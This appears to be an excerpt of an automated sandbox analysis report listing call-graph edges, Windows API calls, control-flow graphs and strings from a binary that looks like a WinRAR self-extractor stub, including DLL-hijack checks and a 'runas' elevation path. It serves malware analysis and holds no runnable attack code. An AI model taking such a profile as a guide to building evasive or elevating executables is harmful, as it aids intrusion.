swprintf 6 API calls 19331->19333 19331->19336 19332->19335 19333->19336 19334 7ff7b1df68bc swprintf 6 API calls 19335->19334 19335->19336 19336->19327 19336->19329 19344 7ff7b1df6534 __vcrt_uninitialize_ptd 5 API calls 19343->19344 19345 7ff7b1df68ff 19344->19345 19346 7ff7b1df61fc 19345->19346 19349 7ff7b1df69ac 19345->19349 19346->19330 19346->19331 19346->19336 19348 7ff7b1df6968 LCMapStringW 19348->19346 19350 7ff7b1df6534 __vcrt_uninitialize_ptd 5 API calls 19349->19350 19351 7ff7b1df69df swprintf 19350->19351 19351->19348 19354 7ff7b1df6534 __vcrt_uninitialize_ptd 5 API calls 19353->19354 19355 7ff7b1df6700 19354->19355 19356 7ff7b1df6718 TlsAlloc 19355->19356 19357 7ff7b1df4690 19355->19357 19356->19357 19357->19229 19357->19232 19359 7ff7b1df46cf 19358->19359 19360 7ff7b1df46d4 19358->19360 19362 7ff7b1df672c 19359->19362 19360->19232 19363 7ff7b1df6534 __vcrt_uninitialize_ptd 5 API calls 19362->19363 19364 7ff7b1df6757 19363->19364 19365 7ff7b1df676e TlsFree 19364->19365 19366 7ff7b1df675f 19364->19366 19365->19366 19366->19360 19368 7ff7b1dec443 19367->19368 19369 7ff7b1debf5d 19367->19369 19375 7ff7b1dee584 19368->19375 19371 7ff7b1dee330 19369->19371 19372 7ff7b1dee35b 19371->19372 19373 7ff7b1dee35f 19372->19373 19374 7ff7b1dee33e DeleteCriticalSection 19372->19374 19373->19200 19374->19372 19379 7ff7b1dee3ec 19375->19379 19380 7ff7b1dee513 TlsFree 19379->19380 19387 7ff7b1dee430 __vcrt_InitializeCriticalSectionEx 19379->19387 19381 7ff7b1dee45e LoadLibraryExW 19383 7ff7b1dee4d5 19381->19383 19384 7ff7b1dee47f GetLastError 19381->19384 19382 7ff7b1dee4f5 GetProcAddress 19382->19380 19386 7ff7b1dee506 19382->19386 19383->19382 19385 7ff7b1dee4ec FreeLibrary 19383->19385 19384->19387 19385->19382 19386->19380 19387->19380 19387->19381 19387->19382 19388 7ff7b1dee4a1 LoadLibraryExW 19387->19388 19388->19383 19388->19387 19390 7ff7b1dea51b GetStartupInfoW 19389->19390 19390->19095 19392 7ff7b1df7be0 19391->19392 19393 7ff7b1deeec0 swprintf 35 API calls 19392->19393 19394 7ff7b1df7c04 19393->19394 19394->19118 19396 7ff7b1de9920 _snwprintf 19395->19396 19397 7ff7b1dd84d4 GetModuleHandleW 19396->19397 19398 7ff7b1dd8506 GetProcAddress 19397->19398 19399 7ff7b1dd855b 19397->19399 19400 7ff7b1dd8533 GetProcAddress 19398->19400 19401 7ff7b1dd851b 19398->19401 19402 7ff7b1dd894e GetModuleFileNameW 19399->19402 19518 7ff7b1df27fc 19399->19518 19400->19399 19403 7ff7b1dd8548 19400->19403 19401->19400 19420 7ff7b1dd896c 19402->19420 19403->19399 19406 7ff7b1dd8869 GetModuleFileNameW CreateFileW 19407 7ff7b1dd88b3 SetFilePointer 19406->19407 19408 7ff7b1dd8945 CloseHandle 19406->19408 19407->19408 19409 7ff7b1dd88c8 ReadFile 19407->19409 19408->19402 19409->19408 19411 7ff7b1dd88ec 19409->19411 19410 7ff7b1dd3b10 9 API calls 19410->19420 19412 7ff7b1dd8bae 19411->19412 19415 7ff7b1dd8900 19411->19415 19413 7ff7b1de9ae4 8 API calls 19412->19413 19427 7ff7b1dd8bb3 19413->19427 19414 7ff7b1dd8438 10 API calls 19414->19420 19418 7ff7b1dd893e 19415->19418 19421 7ff7b1dd8438 10 API calls 19415->19421 19416 7ff7b1dd89e0 GetFileAttributesW 19419 7ff7b1dd8a04 19416->19419 19416->19420 19417 7ff7b1dd89a2 CompareStringW 19417->19420 19418->19408 19422 7ff7b1dd8a4f 19419->19422 19423 7ff7b1dd8a0e 19419->19423 19420->19410 19420->19414 19420->19416 19420->19417 19420->19419 19421->19415 19424 7ff7b1dd8b83 19422->19424 19425 7ff7b1dd8a58 19422->19425 19429 7ff7b1dd8a2d GetFileAttributesW 19423->19429 19433 7ff7b1dd8a4a 19423->19433 19426 7ff7b1de98e0 _handle_error 8 API calls 19424->19426 19435 7ff7b1dd3b10 9 API calls 19425->19435 19430 7ff7b1dd8b92 19426->19430 19428 7ff7b1dd8bd7 19427->19428 19431 7ff7b1dd1b80 2 API calls 19427->19431 19432 7ff7b1dd8bf1 SetThreadExecutionState 19428->19432 19434 7ff7b1dd1b80 2 API calls 19428->19434 19429->19423 19429->19433 19455 7ff7b1de3fac GetCurrentDirectoryW 19430->19455 19431->19428 19433->19422 19434->19432 19436 7ff7b1dd8a69 19435->19436 19437 7ff7b1dd8a70 19436->19437 19438 7ff7b1dd8ae7 19436->19438 19440 7ff7b1dd8438 10 API calls 19437->19440 19439 7ff7b1dd3774 swprintf 46 API calls 19438->19439 19441 7ff7b1dd8b1a AllocConsole 19439->19441 19442 7ff7b1dd8a7c 19440->19442 19444 7ff7b1dd8b24 GetCurrentProcessId AttachConsole 19441->19444 19445 7ff7b1dd8b7a ExitProcess 19441->19445 19443 7ff7b1dd8438 10 API calls 19442->19443 19446 7ff7b1dd8a88 19443->19446 19522 7ff7b1dee7d8 19444->19522 19448 7ff7b1dd6118 48 API calls 19446->19448 19450 7ff7b1dd8a92 19448->19450 19449 7ff7b1dd8b3e GetStdHandle WriteConsoleW Sleep FreeConsole 19449->19445 19451 7ff7b1dd3774 swprintf 46 API calls 19450->19451 19452 7ff7b1dd8ac1 19451->19452 19453 7ff7b1dd6118 48 API calls 19452->19453 19454 7ff7b1dd8acb 19453->19454 19454->19445 19455->19125 19457 7ff7b1dd8438 10 API calls 19456->19457 19458 7ff7b1de4805 OleInitialize 19457->19458 19459 7ff7b1de482b 19458->19459 19460 7ff7b1de4851 SHGetMalloc 19459->19460 19460->19127 19462 7ff7b1de55c2 19461->19462 19463 7ff7b1de55ca 19461->19463 19524 7ff7b1de405c FindResourceW 19462->19524 19465 7ff7b1de55d2 GetObjectW 19463->19465 19466 7ff7b1de55e7 19463->19466 19465->19466 19467 7ff7b1de3f0c 4 API calls 19466->19467 19468 7ff7b1de55fc 19467->19468 19469 7ff7b1de5652 19468->19469 19470 7ff7b1de5622 19468->19470 19472 7ff7b1de405c 11 API calls 19468->19472 19480 7ff7b1dd527c 19469->19480 19471 7ff7b1de3f74 4 API calls 19470->19471 19473 7ff7b1de562b 19471->19473 19474 7ff7b1de560e 19472->19474 19475 7ff7b1de3f3c 4 API calls 19473->19475 19474->19470 19476 7ff7b1de5616 DeleteObject 19474->19476 19477 7ff7b1de5636 19475->19477 19476->19470 19539 7ff7b1dd52ac 19480->19539 19496 7ff7b1de6691 _snwprintf 19492->19496 19493 7ff7b1de67a9 19494 7ff7b1de98e0 _handle_error 8 API calls 19493->19494 19495 7ff7b1de67b9 19494->19495 19495->19135 19495->19136 19496->19493 19497 7ff7b1dd71e4 78 API calls 19496->19497 19497->19496 19499 7ff7b1de9920 _snwprintf 19498->19499 19500 7ff7b1de810c SetEnvironmentVariableW 19499->19500 19503 7ff7b1de8147 19500->19503 19519 7ff7b1df2810 swprintf 19518->19519 19520 7ff7b1df1e14 _snwprintf 39 API calls 19519->19520 19521 7ff7b1dd885f 19520->19521 19521->19402 19521->19406 19523 7ff7b1dee7db 19522->19523 19523->19449 19523->19523 19525 7ff7b1de4087 SizeofResource 19524->19525 19526 7ff7b1de41d3 19524->19526 19525->19526 19527 7ff7b1de40a1 LoadResource 19525->19527 19526->19463 19527->19526 19528 7ff7b1de40ba LockResource 19527->19528 19528->19526 19529 7ff7b1de40cf GlobalAlloc 19528->19529 19529->19526 19530 7ff7b1de40f0 GlobalLock 19529->19530 19531 7ff7b1de4102 BuildCatchObjectHelperInternal 19530->19531 19532 7ff7b1de41ca GlobalFree 19530->19532 19533 7ff7b1de4110 CreateStreamOnHGlobal 19531->19533 19532->19526 19540 7ff7b1dd52ce _snwprintf 19539->19540 19541 7ff7b1dd52fc GetModuleFileNameW 19540->19541 19542 7ff7b1dd5337 19540->19542 19622 7ff7b1df4540 abort 35 API calls 19621->19622 19623 7ff7b1df406b 19622->19623 19624 7ff7b1df4100 abort 35 API calls 19623->19624 19625 7ff7b1df4086 19624->19625 20384 7ff7b1df5a50 20394 7ff7b1dfa93c 20384->20394 20395 7ff7b1dfa948 20394->20395 20417 7ff7b1df64b8 EnterCriticalSection 20395->20417 19075 7ff7b1de8a1f 19076 7ff7b1de8927 19075->19076 19076->19075 19077 7ff7b1de9330 std::_Xinvalid_argument 14 API calls 19076->19077 19077->19076 20985 7ff7b1de891b 20986 7ff7b1de8927 20985->20986 20987 7ff7b1de9330 std::_Xinvalid_argument 14 API calls 20986->20987 20987->20986 20448 7ff7b1de202b 20449 7ff7b1de202f 20448->20449 20450 7ff7b1de98e0 _handle_error 8 API calls 20449->20450 20451 7ff7b1de20c0 20450->20451 19637 7ff7b1debf28 19644 7ff7b1dee2e8 19637->19644 19640 7ff7b1debf35 19645 7ff7b1dee2f0 19644->19645 19647 7ff7b1dee321 19645->19647 19649 7ff7b1debf31 19645->19649 19657 7ff7b1dee668 19645->19657 19648 7ff7b1dee330 __vcrt_uninitialize_locks DeleteCriticalSection 19647->19648 19648->19649 19649->19640 19650 7ff7b1dec3ec 19649->19650 19662 7ff7b1dee53c 19650->19662 19658 7ff7b1dee3ec __vcrt_InitializeCriticalSectionEx 5 API calls 19657->19658 19659 7ff7b1dee69e 19658->19659 19660 7ff7b1dee6b3 InitializeCriticalSectionAndSpinCount 19659->19660 19661 7ff7b1dee6a8 19659->19661 19660->19661 19661->19645 19663 7ff7b1dee3ec __vcrt_InitializeCriticalSectionEx 5 API calls 19662->19663 19664 7ff7b1dee561 TlsAlloc 19663->19664

                                                                                                                                                                    Executed Functions

                                                                                                                                                                    Function 00007FF7B1DD84B0 Relevance: 156.1, APIs: 22, Strings: 67, Instructions: 380libraryfileloaderCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 0 7ff7b1dd84b0-7ff7b1dd8504 call 7ff7b1de9920 GetModuleHandleW 3 7ff7b1dd8506-7ff7b1dd8519 GetProcAddress 0->3 4 7ff7b1dd855b-7ff7b1dd8854 0->4 5 7ff7b1dd8533-7ff7b1dd8546 GetProcAddress 3->5 6 7ff7b1dd851b-7ff7b1dd852a 3->6 7 7ff7b1dd894e-7ff7b1dd8986 GetModuleFileNameW call 7ff7b1dd48d0 call 7ff7b1dd8168 4->7 8 7ff7b1dd885a-7ff7b1dd8863 call 7ff7b1df27fc 4->8 5->4 9 7ff7b1dd8548-7ff7b1dd8558 5->9 6->5 20 7ff7b1dd8989-7ff7b1dd8993 call 7ff7b1dd3b10 7->20 8->7 16 7ff7b1dd8869-7ff7b1dd88ad GetModuleFileNameW CreateFileW 8->16 9->4 18 7ff7b1dd88b3-7ff7b1dd88c6 SetFilePointer 16->18 19 7ff7b1dd8945-7ff7b1dd8948 CloseHandle 16->19 18->19 21 7ff7b1dd88c8-7ff7b1dd88ea ReadFile 18->21 19->7 27 7ff7b1dd8995-7ff7b1dd89a0 call 7ff7b1dd8438 20->27 28 7ff7b1dd89c8-7ff7b1dd89f0 call 7ff7b1dd49d8 GetFileAttributesW 20->28 21->19 23 7ff7b1dd88ec-7ff7b1dd88fa 21->23 25 7ff7b1dd8900-7ff7b1dd8916 23->25 26 7ff7b1dd8bae-7ff7b1dd8bc4 call 7ff7b1de9ae4 call 7ff7b1dd93dc call 7ff7b1dd93e4 23->26 29 7ff7b1dd8927-7ff7b1dd893c call 7ff7b1dd7e24 25->29 60 7ff7b1dd8bc6-7ff7b1dd8bd2 call 7ff7b1dd1b80 26->60 61 7ff7b1dd8bd7-7ff7b1dd8bde 26->61 27->28 40 7ff7b1dd89a2-7ff7b1dd89c6 CompareStringW 27->40 43 7ff7b1dd8a06 28->43 44 7ff7b1dd89f2 28->44 41 7ff7b1dd893e 29->41 42 7ff7b1dd8918-7ff7b1dd8924 call 7ff7b1dd8438 29->42 40->28 47 7ff7b1dd89f9-7ff7b1dd8a02 40->47 41->19 42->29 48 7ff7b1dd8a09-7ff7b1dd8a0c 43->48 44->47 47->20 53 7ff7b1dd8a04 47->53 49 7ff7b1dd8a4f-7ff7b1dd8a52 48->49 50 7ff7b1dd8a0e-7ff7b1dd8a11 48->50 56 7ff7b1dd8b83-7ff7b1dd8bad call 7ff7b1de98e0 49->56 57 7ff7b1dd8a58-7ff7b1dd8a6e call 7ff7b1dd4924 call 7ff7b1dd3b10 49->57 54 7ff7b1dd8a15-7ff7b1dd8a3d call 7ff7b1dd49d8 GetFileAttributesW 50->54 53->48 69 7ff7b1dd8a3f-7ff7b1dd8a48 54->69 70 7ff7b1dd8a4c 54->70 75 7ff7b1dd8a70-7ff7b1dd8ae2 call 7ff7b1dd8438 * 2 call 7ff7b1dd6118 call 7ff7b1dd3774 call 7ff7b1dd6118 call 7ff7b1de41e4 57->75 76 7ff7b1dd8ae7-7ff7b1dd8b22 call 7ff7b1dd3774 AllocConsole 57->76 60->61 66 7ff7b1dd8be0-7ff7b1dd8bec call 7ff7b1dd1b80 61->66 67 7ff7b1dd8bf1-7ff7b1dd8bfa SetThreadExecutionState 61->67 66->67 69->54 73 7ff7b1dd8a4a 69->73 70->49 73->49 83 7ff7b1dd8b7a-7ff7b1dd8b7c ExitProcess 75->83 82 7ff7b1dd8b24-7ff7b1dd8b74 GetCurrentProcessId AttachConsole call 7ff7b1dee7d8 GetStdHandle WriteConsoleW Sleep FreeConsole 76->82 76->83 82->83
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: File$Console$HandleModule$AddressAttributesNameProcProcessswprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemVersionWrite
                                                                                                                                                                    • String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll$|%}
                                                                                                                                                                    • API String ID: 2569216850-576411300
                                                                                                                                                                    • Opcode ID: 945e55b137a02ebc25ffdca20512221a606fafad3f15a95ab7002524e45ba89e
                                                                                                                                                                    • Instruction ID: 0734e90513785c2848639ec674ea781a6c164c285fbd90f646801d802f968a0c
                                                                                                                                                                    • Opcode Fuzzy Hash: 945e55b137a02ebc25ffdca20512221a606fafad3f15a95ab7002524e45ba89e
                                                                                                                                                                    • Instruction Fuzzy Hash: BD12FF35A09B4295EB21AF18E8401E9B3A5FF16358FD5063ADA4D067ACEFBCD354C360
                                                                                                                                                                    Function 00007FF7B1DE5700 Relevance: 103.9, APIs: 48, Strings: 11, Instructions: 680windowfilesleepCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 95 7ff7b1de5700-7ff7b1de575f call 7ff7b1de9920 call 7ff7b1dd1230 100 7ff7b1de5765-7ff7b1de576b 95->100 101 7ff7b1de62c8 95->101 102 7ff7b1de5771-7ff7b1de5773 100->102 103 7ff7b1de5f49-7ff7b1de5f69 call 7ff7b1de7adc 100->103 104 7ff7b1de62cb-7ff7b1de62ed call 7ff7b1de98e0 101->104 105 7ff7b1de5786-7ff7b1de5788 102->105 106 7ff7b1de5775-7ff7b1de577b 102->106 113 7ff7b1de5f7c-7ff7b1de5f86 103->113 114 7ff7b1de5f6b-7ff7b1de5f76 SendMessageW 103->114 105->104 109 7ff7b1de57ec-7ff7b1de57f3 106->109 110 7ff7b1de577d-7ff7b1de577f 106->110 117 7ff7b1de588d-7ff7b1de58b2 GetDlgItemTextW 109->117 118 7ff7b1de57f9-7ff7b1de5800 109->118 115 7ff7b1de5781-7ff7b1de5784 110->115 116 7ff7b1de57c8-7ff7b1de57d6 110->116 120 7ff7b1de5fa3-7ff7b1de6040 GetDlgItem SendMessageW call 7ff7b1de3fac GetDlgItem SetWindowTextW call 7ff7b1de45f0 call 7ff7b1de2470 113->120 121 7ff7b1de5f88-7ff7b1de5f9d SendDlgItemMessageW 113->121 114->113 115->105 122 7ff7b1de578d-7ff7b1de57b1 call 7ff7b1dd6118 call 7ff7b1dd1120 115->122 125 7ff7b1de57e5-7ff7b1de57e7 116->125 126 7ff7b1de57d8-7ff7b1de57df 116->126 123 7ff7b1de58b4-7ff7b1de58c5 117->123 124 7ff7b1de58dc-7ff7b1de58e3 117->124 118->117 119 7ff7b1de5806-7ff7b1de582c call 7ff7b1dd6118 SetDlgItemTextW 118->119 142 7ff7b1de5832-7ff7b1de5839 119->142 166 7ff7b1de6042-7ff7b1de6052 call 7ff7b1de682c 120->166 167 7ff7b1de6057-7ff7b1de605e 120->167 121->120 122->101 156 7ff7b1de57b7-7ff7b1de57c3 122->156 130 7ff7b1de58cb 123->130 131 7ff7b1de58f3-7ff7b1de590f GetDlgItem 124->131 132 7ff7b1de58e5-7ff7b1de58ee 124->132 133 7ff7b1de58ce-7ff7b1de58d7 EndDialog 125->133 126->101 126->125 130->133 138 7ff7b1de5911-7ff7b1de5937 SendMessageW * 2 131->138 139 7ff7b1de593d-7ff7b1de594d SetFocus 131->139 137 7ff7b1de5e77-7ff7b1de5e7e 132->137 133->101 137->130 145 7ff7b1de5e84-7ff7b1de5e86 137->145 138->139 140 7ff7b1de594f-7ff7b1de595c call 7ff7b1dd6118 139->140 141 7ff7b1de595e-7ff7b1de5982 call 7ff7b1dd8168 call 7ff7b1de7794 call 7ff7b1dd6118 139->141 158 7ff7b1de59a6-7ff7b1de59b4 call 7ff7b1de7858 140->158 180 7ff7b1de5987-7ff7b1de599f call 7ff7b1dd3774 141->180 142->101 147 7ff7b1de583f-7ff7b1de5846 142->147 145->130 151 7ff7b1de5e8c-7ff7b1de5ee7 call 7ff7b1dd6118 SetDlgItemTextW call 7ff7b1dd6118 call 7ff7b1dd8168 145->151 147->101 153 7ff7b1de584c-7ff7b1de5860 GetMessageW 147->153 193 7ff7b1de5f25-7ff7b1de5f44 call 7ff7b1dd6118 call 7ff7b1de41e4 151->193 194 7ff7b1de5ee9-7ff7b1de5ef0 151->194 153->101 159 7ff7b1de5866-7ff7b1de5875 IsDialogMessageW 153->159 162 7ff7b1de62bf-7ff7b1de62c2 SetDlgItemTextW 156->162 176 7ff7b1de59b6-7ff7b1de59bd call 7ff7b1de8004 158->176 177 7ff7b1de59c2-7ff7b1de59ca 158->177 159->142 164 7ff7b1de5877-7ff7b1de588b TranslateMessage DispatchMessageW 159->164 162->101 164->142 166->167 172 7ff7b1de6093-7ff7b1de609a 167->172 173 7ff7b1de6060-7ff7b1de608d call 7ff7b1dd6118 SetDlgItemTextW call 7ff7b1dd6118 SetDlgItemTextW 167->173 178 7ff7b1de60a0-7ff7b1de60bc call 7ff7b1de682c 172->178 179 7ff7b1de6179-7ff7b1de6180 172->179 173->172 176->177 185 7ff7b1de59cc-7ff7b1de59da call 7ff7b1dd3120 177->185 186 7ff7b1de59e8-7ff7b1de59ff call 7ff7b1dd2ee4 177->186 205 7ff7b1de60f3-7ff7b1de60f9 178->205 206 7ff7b1de60be-7ff7b1de60c5 178->206 188 7ff7b1de6186-7ff7b1de618d 179->188 189 7ff7b1de6239-7ff7b1de6240 179->189 180->158 185->186 215 7ff7b1de59dc-7ff7b1de59e3 call 7ff7b1de49c8 185->215 219 7ff7b1de5a12-7ff7b1de5a23 call 7ff7b1de467c 186->219 220 7ff7b1de5a01-7ff7b1de5a0f GetLastError 186->220 188->189 197 7ff7b1de6193-7ff7b1de619a 188->197 199 7ff7b1de6242-7ff7b1de6247 EnableWindow 189->199 200 7ff7b1de624d-7ff7b1de6254 189->200 193->101 194->193 203 7ff7b1de5ef2-7ff7b1de5f20 call 7ff7b1dee7d8 call 7ff7b1dd6118 call 7ff7b1dd3774 194->203 197->189 208 7ff7b1de61a0-7ff7b1de61ad 197->208 199->200 210 7ff7b1de6274-7ff7b1de627c 200->210 211 7ff7b1de6256-7ff7b1de626f call 7ff7b1dd11e4 * 2 200->211 203->193 221 7ff7b1de60fb-7ff7b1de610a SetForegroundWindow 205->221 222 7ff7b1de6167-7ff7b1de6174 call 7ff7b1de682c 205->222 206->205 216 7ff7b1de60c7-7ff7b1de60ee call 7ff7b1de36e8 call 7ff7b1deea98 206->216 218 7ff7b1de61b3-7ff7b1de61b9 208->218 212 7ff7b1de627e-7ff7b1de6285 210->212 213 7ff7b1de62a7-7ff7b1de62ae 210->213 211->210 212->213 224 7ff7b1de6287-7ff7b1de6297 212->224 213->101 226 7ff7b1de62b0-7ff7b1de62bd call 7ff7b1dd6118 213->226 215->186 216->205 231 7ff7b1de61c4-7ff7b1de61ca 218->231 232 7ff7b1de61bb-7ff7b1de61c2 218->232 254 7ff7b1de5a34-7ff7b1de5a3c 219->254 255 7ff7b1de5a25-7ff7b1de5a31 GetLastError 219->255 220->219 221->222 234 7ff7b1de610c-7ff7b1de6113 221->234 222->179 236 7ff7b1de62a1 PostMessageW 224->236 237 7ff7b1de6299-7ff7b1de629f SendMessageW 224->237 226->162 243 7ff7b1de61cc-7ff7b1de61d3 231->243 244 7ff7b1de61d9-7ff7b1de6203 call 7ff7b1dd8124 call 7ff7b1dd6118 call 7ff7b1dd8124 231->244 232->231 242 7ff7b1de6208-7ff7b1de6210 232->242 234->222 246 7ff7b1de6115-7ff7b1de6131 call 7ff7b1de682c 234->246 236->213 237->213 242->218 250 7ff7b1de6212-7ff7b1de6234 call 7ff7b1de36e8 242->250 243->244 253 7ff7b1de61d5-7ff7b1de61d7 243->253 244->242 246->222 263 7ff7b1de6133-7ff7b1de6159 DialogBoxParamW 246->263 250->189 253->218 259 7ff7b1de5a3e-7ff7b1de5a41 254->259 260 7ff7b1de5aaa-7ff7b1de5aad 254->260 255->254 265 7ff7b1de5a43-7ff7b1de5a87 GetTickCount call 7ff7b1dd3774 call 7ff7b1dd200c call 7ff7b1dd2138 259->265 266 7ff7b1de5abb-7ff7b1de5ac3 259->266 267 7ff7b1de5d34-7ff7b1de5da9 call 7ff7b1dd1208 * 2 call 7ff7b1dd6118 SetDlgItemTextW call 7ff7b1dd1208 SetDlgItemTextW GetDlgItem 260->267 268 7ff7b1de5ab3-7ff7b1de5ab5 260->268 263->222 271 7ff7b1de615b 263->271 302 7ff7b1de5a98-7ff7b1de5a9f call 7ff7b1dd2054 265->302 303 7ff7b1de5a89-7ff7b1de5a95 GetLastError 265->303 269 7ff7b1de5cc2-7ff7b1de5cc5 266->269 270 7ff7b1de5ac9-7ff7b1de5b94 GetModuleFileNameW call 7ff7b1dd6ff8 call 7ff7b1dd3774 CreateFileMappingW 266->270 312 7ff7b1de5dd1-7ff7b1de5e34 call 7ff7b1de682c * 2 call 7ff7b1de7f68 call 7ff7b1de682c 267->312 313 7ff7b1de5dab-7ff7b1de5dcb GetWindowLongPtrW SetWindowLongPtrW 267->313 268->266 275 7ff7b1de5ccb-7ff7b1de5d2f call 7ff7b1dd6118 call 7ff7b1dd3774 call 7ff7b1dd1dec call 7ff7b1dd6118 call 7ff7b1de41e4 268->275 269->125 269->275 294 7ff7b1de5c3a 270->294 295 7ff7b1de5b9a-7ff7b1de5baa GetCommandLineW 270->295 271->222 298 7ff7b1de5c3f-7ff7b1de5c70 ShellExecuteExW call 7ff7b1dd7268 * 2 294->298 300 7ff7b1de5bc1-7ff7b1de5c38 call 7ff7b1de51f0 * 3 call 7ff7b1dd7098 MapViewOfFile call 7ff7b1deb6a0 295->300 301 7ff7b1de5bac-7ff7b1de5bbc call 7ff7b1dd8168 295->301 325 7ff7b1de5c72-7ff7b1de5c81 call 7ff7b1e48138 298->325 326 7ff7b1de5ca8 298->326 300->298 301->300 316 7ff7b1de5aa4 302->316 303->302 346 7ff7b1de5e36-7ff7b1de5e3d 312->346 347 7ff7b1de5e5d-7ff7b1de5e71 call 7ff7b1dd11e4 312->347 313->312 316->260 338 7ff7b1de5c84-7ff7b1de5c87 325->338 329 7ff7b1de5cab-7ff7b1de5cae 326->329 329->269 333 7ff7b1de5cb0-7ff7b1de5cbc UnmapViewOfFile CloseHandle 329->333 333->269 341 7ff7b1de5c9b-7ff7b1de5ca6 338->341 342 7ff7b1de5c89-7ff7b1de5c99 Sleep 338->342 341->329 342->338 342->341 346->347 348 7ff7b1de5e3f-7ff7b1de5e46 346->348 347->137 348->347 350 7ff7b1de5e48-7ff7b1de5e58 call 7ff7b1de682c 348->350 350->347
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Item$MessageText$SendWindow$swprintf$File$DialogErrorLast$LoadLongStringView$CloseCommandCountCreateDispatchEnableExecuteFocusForegroundHandleLineMappingModuleNameParamShellSleepTickTranslateUnmapwcscpy
                                                                                                                                                                    • String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$p$runas$winrarsfxmappingfile.tmp$|%}
                                                                                                                                                                    • API String ID: 967586264-238896776
                                                                                                                                                                    • Opcode ID: c83c067aa422c9e332da643bd5b7c4141674a3cc458330c043231d71ed6739b1
                                                                                                                                                                    • Instruction ID: 728e206e1e6058bfb7fb2f631ba750407f071f998a2b613858613ecf27b1f155
                                                                                                                                                                    • Opcode Fuzzy Hash: c83c067aa422c9e332da643bd5b7c4141674a3cc458330c043231d71ed6739b1
                                                                                                                                                                    • Instruction Fuzzy Hash: CD629126A0864385FF14BB39E8502BDA751AF67B8EFC04139DB4D0769EDEBCA505C360
                                                                                                                                                                    Function 00007FF7B1DE682C Relevance: 49.9, APIs: 18, Strings: 10, Instructions: 856COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
